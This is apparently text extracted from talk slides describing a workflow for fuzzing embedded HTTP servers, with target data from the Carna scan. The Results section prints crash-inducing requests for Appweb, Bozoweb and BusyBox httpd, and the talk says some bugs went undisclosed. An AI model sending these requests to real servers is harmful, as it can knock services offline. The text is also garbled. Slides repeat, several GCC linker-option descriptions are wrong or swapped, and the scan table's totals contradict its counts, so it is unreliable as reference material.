Step #1: Pick a target

- AKA The Carna Botnet
Step #1: Pick a target

• **Abstract:** While playing around with the Nmap Scripting Engine (NSE) we discovered an amazing number of open embedded devices on the Internet. Many of them are based on Linux and allow login to standard BusyBox with empty or default credentials. We used these devices to build a distributed port scanner to scan all IPv4 addresses. These scans include service probes for the most common ports, ICMP ping, reverse DNS and SYN scans. We analyzed some of the data to get an estimation of the IP address usage.

All data gathered during our research is released into the public domain for further study.
Step #1: Pick a target
## Step #1: Pick a target

<table>
<thead>
<tr>
<th>Port</th>
<th>TCP/UDP</th>
<th>Probe</th>
<th>Open</th>
<th>Open/Reset</th>
<th>Open/Timeout</th>
<th>Closed/Reset</th>
<th>Timeout</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>443</td>
<td>TCP</td>
<td>SSLSessionReq</td>
<td>77520000</td>
<td>5350000</td>
<td>13610000</td>
<td>72480000</td>
<td>32693000</td>
<td>49589000</td>
</tr>
<tr>
<td>21</td>
<td>TCP</td>
<td>GetRequest</td>
<td>70280000</td>
<td>10590000</td>
<td>12980000</td>
<td>25940000</td>
<td>37795000</td>
<td>49774000</td>
</tr>
<tr>
<td>80</td>
<td>TCP</td>
<td>HTTPOptions</td>
<td>56240000</td>
<td>10360000</td>
<td>34030000</td>
<td>46170000</td>
<td>10349000</td>
<td>25029000</td>
</tr>
<tr>
<td>80</td>
<td>TCP</td>
<td>FourOhFourRequest</td>
<td>56050000</td>
<td>6400000</td>
<td>5720000</td>
<td>48640000</td>
<td>10350000</td>
<td>21831000</td>
</tr>
<tr>
<td>23</td>
<td>TCP</td>
<td>GenericLines</td>
<td>53600000</td>
<td>10240000</td>
<td>5000000</td>
<td>22980000</td>
<td>35717000</td>
<td>44899000</td>
</tr>
<tr>
<td>80</td>
<td>TCP</td>
<td>RTSPRequest</td>
<td>53330000</td>
<td>10700000</td>
<td>3138000</td>
<td>47750000</td>
<td>10047000</td>
<td>24363000</td>
</tr>
<tr>
<td>53</td>
<td>UDP</td>
<td>DNSStatusRequest</td>
<td>47050000</td>
<td>0</td>
<td>0</td>
<td>343850000</td>
<td>0</td>
<td>390900000</td>
</tr>
<tr>
<td>25</td>
<td>TCP</td>
<td>Hello</td>
<td>44130000</td>
<td>9020000</td>
<td>26990000</td>
<td>79330000</td>
<td>34406000</td>
<td>50353000</td>
</tr>
<tr>
<td>161</td>
<td>UDP</td>
<td>SNMPv3GetRequest</td>
<td>34020000</td>
<td>0</td>
<td>0</td>
<td>117520000</td>
<td>0</td>
<td>151540000</td>
</tr>
<tr>
<td>53</td>
<td>UDP</td>
<td>DNSVersionBindReq</td>
<td>34010000</td>
<td>0</td>
<td>0</td>
<td>213340000</td>
<td>0</td>
<td>247350000</td>
</tr>
<tr>
<td>443</td>
<td>TCP</td>
<td>GetRequest</td>
<td>33470000</td>
<td>25800000</td>
<td>25300000</td>
<td>66180000</td>
<td>31430000</td>
<td>465050000</td>
</tr>
<tr>
<td>80</td>
<td>TCP</td>
<td>X11Probe</td>
<td>33430000</td>
<td>12220000</td>
<td>114560000</td>
<td>82770000</td>
<td>20630000</td>
<td>449280000</td>
</tr>
<tr>
<td>443</td>
<td>TCP</td>
<td>SSLv23SessionReq</td>
<td>28620000</td>
<td>14700000</td>
<td>50300000</td>
<td>60190000</td>
<td>11078000</td>
<td>206090000</td>
</tr>
<tr>
<td>8080</td>
<td>TCP</td>
<td>GetRequest</td>
<td>28480000</td>
<td>39900000</td>
<td>68400000</td>
<td>51810000</td>
<td>32917000</td>
<td>420100000</td>
</tr>
<tr>
<td>25</td>
<td>TCP</td>
<td>GetRequest</td>
<td>28210000</td>
<td>53900000</td>
<td>16200000</td>
<td>16280000</td>
<td>24064000</td>
<td>306720000</td>
</tr>
<tr>
<td>4567</td>
<td>TCP</td>
<td>GetRequest</td>
<td>26300000</td>
<td>18000000</td>
<td>27400000</td>
<td>17170000</td>
<td>23090000</td>
<td>278910000</td>
</tr>
<tr>
<td>53</td>
<td>TCP</td>
<td>DNSStatusRequest</td>
<td>22630000</td>
<td>11130000</td>
<td>85900000</td>
<td>79940000</td>
<td>38114000</td>
<td>503430000</td>
</tr>
</tbody>
</table>
**Step #1: Pick a target**

<table>
<thead>
<tr>
<th>ServiceName</th>
<th>Product</th>
<th>Count</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>http</td>
<td>Apache</td>
<td>14208112</td>
<td>20.057</td>
</tr>
<tr>
<td>http</td>
<td>Allegro RomPager</td>
<td>13116974</td>
<td>18.517</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft IIS httpd</td>
<td>8881082</td>
<td>12.537</td>
</tr>
<tr>
<td>http</td>
<td>netcat</td>
<td>6071287</td>
<td>8.571</td>
</tr>
<tr>
<td>http</td>
<td>AkamaiGHost</td>
<td>4064402</td>
<td>5.738</td>
</tr>
<tr>
<td>http</td>
<td>nginx</td>
<td>4045993</td>
<td>5.712</td>
</tr>
<tr>
<td>http</td>
<td>micro_httpd</td>
<td>1991640</td>
<td>2.812</td>
</tr>
<tr>
<td>http</td>
<td>Arris Touchstone cable modem http config</td>
<td>1610036</td>
<td>2.273</td>
</tr>
<tr>
<td>http</td>
<td>lighttpd</td>
<td>1176185</td>
<td>1.66</td>
</tr>
<tr>
<td>http</td>
<td>Microsoft HTTPAPI httpd</td>
<td>1060946</td>
<td>1.498</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs httpd</td>
<td>939238</td>
<td>1.326</td>
</tr>
<tr>
<td>http</td>
<td>GoAhead-Webs embedded httpd</td>
<td>695367</td>
<td>0.982</td>
</tr>
<tr>
<td>no match</td>
<td>-/-</td>
<td>595358</td>
<td>0.84</td>
</tr>
<tr>
<td>http</td>
<td>Boa HTTPd</td>
<td>580551</td>
<td>0.82</td>
</tr>
<tr>
<td>http</td>
<td>Cisco IOS http config</td>
<td>572114</td>
<td>0.808</td>
</tr>
<tr>
<td>http</td>
<td>NET-DK</td>
<td>477073</td>
<td>0.673</td>
</tr>
<tr>
<td>http</td>
<td>Alcatel/Thomson SpeedTouch ADSL http config</td>
<td>400731</td>
<td>0.566</td>
</tr>
<tr>
<td>http</td>
<td>Apache Tomcat/Coyote JSP engine</td>
<td>354335</td>
<td>0.5</td>
</tr>
<tr>
<td>http</td>
<td>mini_httpd</td>
<td>353009</td>
<td>0.498</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik router config httpd</td>
<td>279399</td>
<td>0.394</td>
</tr>
<tr>
<td>http</td>
<td>MikroTik router config</td>
<td>383238</td>
<td>0.330</td>
</tr>
</tbody>
</table>
Step #1: Pick a target

- public normal: Apache
- embedded: Allegro RomPager
- public normal: Microsoft IIS httpd
- bespoke: AkamaiGHost
- public normal: nginx
- public normal: micro_httpd
- public normal: lighttpd
- public normal: Microsoft HTTPAPI httpd
- public embedded: GoAhead-Webs httpd
- public embedded: GoAhead-Webs embedded httpd
- public normal: Boa HTTPd
- NET-DK
- public normal: Apache Tomcat/Coyote JSP engine
- public normal: mini_httpd
- embedded: MikroTik router config httpd
- public normal: thttpd
- embedded: Secure Computing Sidewinder firewall http admin
- public normal: TeamViewer httpd
- embedded: Virata-EmWeb
- public normal: Squid http proxy
- Kucci
- uc-httpd
- WebProxy
- embedded: Piolink Switch
- embedded: Hikvision-Webs
- smartcds
- embedded: Avtech AVN801 network camera
- bespoke: IdeaWebServer httpd
- embedded: GeoVision GeoHttpServer for webcams
- public embedded: WindWeb
- embedded: Cross Web Server
- public embedded: Mbedthis-Appweb
- embedded: F5 BIG-IP load balancer http proxy
- Mini web server
- embedded: DrayTek Vigor 2800-series ADSL router httpd
- bespoke: Rapidsite/Apa httpd
- embedded: RapidLogic
- embedded: RapidLogic
- embedded: LiteSpeed httpd
- public normal: Microsoft ISA httpd
- embedded: D-Link DIR-300 WAP http admin
- Switch
- public normal: BusyBox httpd
- embedded: Lanswitch - V100R003 HttpServer 1.1
- public normal: Microsoft IIS
- embedded: Symantec firewall http proxy
- embedded: DD-WRT milli_httpd
- embedded: NetApp NetCache http proxy
- httpd
- bespoke: Google httpd
- public normal: Lotus Domino httpd
Step #2: Get a hold of the damn thing
Step #3: Compile/install it :

The compiler may generate calls to `memcpy`, `memset`, `memcpy` and `memmove`. These entries are usually resolved by entries in `libc`. These entry points should be supplied through some other mechanism when this option is specified.

One of the standard libraries bypassed by `-nostdlib` and `-nodefaultlib` is `libgcc.a`, a library of internal subroutines which GCC uses to overcome shortcomings of particular machines or special needs for some languages. (See Interfacing to GCC Output, for more discussion of `libgcc.a`.) In most cases, you need `libgcc.a` even when you want to avoid other standard libraries. In other words, when you specify `-nostdlib` or `-nodefaultlib` you should usually specify `-lgcc` as well. This ensures that you have no unresolved references to internal GCC library subroutines. (An example of such an internal subroutine is `_main`, used to ensure C++ constructors are called; see collect2.)

### pie
Produce a position independent executable on targets that support it. For predictable results, you must also specify the same set of options used for compilation (`-fpic`, `-fPIC`, or model suboptions) when you specify this linker option.

### no-pie
Don’t produce a position independent executable.

### rdynamic
Pass the flag `-export-dynamic` to the ELF linker, on targets that support it. This instructs the linker to add all symbols, not only used ones, to the dynamic symbol table. This option is needed for some uses of `dlopen` or to allow obtaining backtraces from within a program.

### static
Remove all symbol table and relocation information from the executable.

### shared
On systems that support dynamic linking, this prevents linking with the shared libraries. On other systems, this option has no effect.

### shared
Produce a shared object which can then be linked with other objects to form an executable. Not all systems support this option. For predictable results, you must also specify the same set of options used for compilation (`-fpic`, `-fPIC`, or model suboptions) when you specify this linker option. ¹

### shared-libgcc
On systems that provide `libgcc` as a shared library, these options force the use of either the shared or static version, respectively. If no shared version of `libgcc` was built when the compiler was configured, these options have no effect.

There are several situations in which an application should use the shared `libgcc` instead of the static version. The most common of these is when the application wishes to throw and catch exceptions across different shared libraries. In that case, each of the libraries as well as the application itself should use the shared `libgcc`.

Therefore, the G++ and GCI drivers automatically add `-shared-libgcc` whenever you build a shared library or a main executable, because C++ and Java programs typically use exceptions, so this is the right thing to do.

If, instead, you use the GCC driver to create shared libraries, you may find that they are not always linked with the shared `libgcc`. If GCC finds, at its configuration time, that you have a non-GNU linker or a GNU linker that does not support option `-e frame-hdr`, it links the shared version of `libgcc` into shared libraries by default. Otherwise, it takes advantage of the linker and optimizes away the linking with the shared version of `libgcc` linking with the static version of `libgcc` by default. This allows exceptions to propagate through such shared
Step #3: Compile/install it :(

• I have seen every build system out there.
Step #3: Compile/install it :(

- I have seen every build system out there.
- My test VM is a scorched earth.
Step #3: Compile/install it :(

• I have seen every build system out there.
• My test VM is a scorched earth.
• Hard to compile things with things like ASAN because of bad makefiles, obscure build systems, etc.
Step #3: Compile/install it :( 

AddressSanitizer
chefmax edited this page on 2 Feb · 20 revisions

Introduction

AddressSanitizer (aka ASan) is a memory error detector for C/C++. It finds:

- Use after free (dangling pointer dereference)
- Heap buffer overflow
- Stack buffer overflow
- Global buffer overflow
- Use after return
- Use after scope
- Initialization order bugs
- Memory leaks
Step #3: Compile/install it :

• I have seen every build system out there.
• My test VM is a scorched earth.
• Hard to compile things with things like ASAN because of bad makefiles, obscure build systems, etc.
• Start with most default, common options first, then move on to more complex features.
Step #3: Compile/install it :(

• I have seen every build system out there.
• My test VM is a scorched earth.
• Hard to compile things with things like ASAN because of bad makefiles, obscure build systems, etc.
• Start with most default, common options first, then move on to more complex features.

• Often, this is the most time consuming (and boring) part.
Step #4: Run Huzzer!
<table>
<thead>
<tr>
<th></th>
<th>min</th>
<th>avg</th>
<th>max</th>
</tr>
</thead>
<tbody>
<tr>
<td>Starting time:</td>
<td>2017-04-19 17:54:49.330078</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Runtime:</td>
<td>27s</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Test</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Initial seed:</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Current seed:</td>
<td>347</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Speed:</td>
<td>min 12.5seed/s</td>
<td>avg 12.6seed/s</td>
<td>max 12.7seed/s</td>
</tr>
<tr>
<td>Message root element source</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Elements generated:</td>
<td>376elem</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Generation time:</td>
<td>min 1.79ms/elem</td>
<td>avg 10.02ms/elem</td>
<td>max 172.23ms/elem</td>
</tr>
<tr>
<td>Munge time:</td>
<td>min 176.00us/elem</td>
<td>avg 1.17ms/elem</td>
<td>max 9.50ms/elem</td>
</tr>
<tr>
<td>Element size:</td>
<td>min 52B</td>
<td>avg 951.80B</td>
<td>max 10.79kB</td>
</tr>
<tr>
<td>Protocol endpoints</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>TCPSocketEndpoint target:80</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Receiving</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 21.00us/conn</td>
<td>avg 32.66us/conn</td>
<td>max 69.61us/conn</td>
</tr>
<tr>
<td>Timeouts:</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sending</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 44.00us/conn</td>
<td>avg 117.00us/conn</td>
<td>max 669.00us/conn</td>
</tr>
<tr>
<td>Timeouts:</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Connecting</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 33.45ms/conn</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Protocol endpoints</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>TCPSocketEndpoint target:80</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Receiving</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 21.00us/conn</td>
<td>avg 32.66us/conn</td>
<td>max 69.61us/conn</td>
</tr>
<tr>
<td>Timeouts:</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sending</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 44.00us/conn</td>
<td>avg 117.00us/conn</td>
<td>max 669.00us/conn</td>
</tr>
<tr>
<td>Timeouts:</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Connecting</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Time:</td>
<td>min 33.45ms/conn</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Results:

| HTTP/1.1 404 Not Found': | 244 |
| HTTP/1.1 400 Bad Request': | 31 |
| HTTP/1.1 403 Forbidden': | 23 |
| HTTP/1.1 501 Not Implemented': | 12 |
| HTTP/1.1 405 Not Allowed': | 6 |

Failures:

| Max streak of non-fatal failures: | 0 |

Command line: `huzzer --cfgfile configs/config.yaml`

Is optimized Python: False
Step #5: Get findings (or don’t)
Step #5: Get findings (or don’t)

- There’s a special notification sound on my phone I like hearing!
Step #6: Minimize crashing test case
Step #6: Minimize crashing test case

- There are tools for this, like `afl-tmin`, or some old Perl script I can never remember or find.
Step #6: Minimize crashing test case

• There are tools for this, like `afl-tmin`, or some old Perl script I can never remember or find.
• Alternatively, use your vim skills.
Step #7: Look at crash in debugger
Step #8: Write exploit if it looks good
Step #9: Coordinate disclosure, of course
Results

• Let’s start small.
Results

• Let’s start small.
• Some of these haven’t been disclosed, because:
Results

• Let’s start small.
• Some of these haven’t been disclosed, because:
  • They are denial-of-service bugs only (due to memory overread).
Results

• Let’s start small.

• Some of these haven’t been disclosed, because:
  • They are denial-of-service bugs only (due to memory overread).
  • I can’t find any contact details for anyone that could be considered a maintainer of the server.
Results

• Let’s start small.

• Some of these haven’t been disclosed, because:
  • They are denial-of-service bugs only (due to memory overread).
  • I can’t find any contact details for anyone that could be considered a maintainer of the server.
  • I am lazy.
Results

• Appweb (5.2.0)

GET / HTTP/1.0
If-modified-Since: 13-Jan/56
Results

- Appweb (5.2.0)

GET / HTTP/1.0
If-Match: ,
Results

- Bozoweb

GET / HTTP/1.0
x (NULL)
Results

- Busybox’s HTTP server

```
GET
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA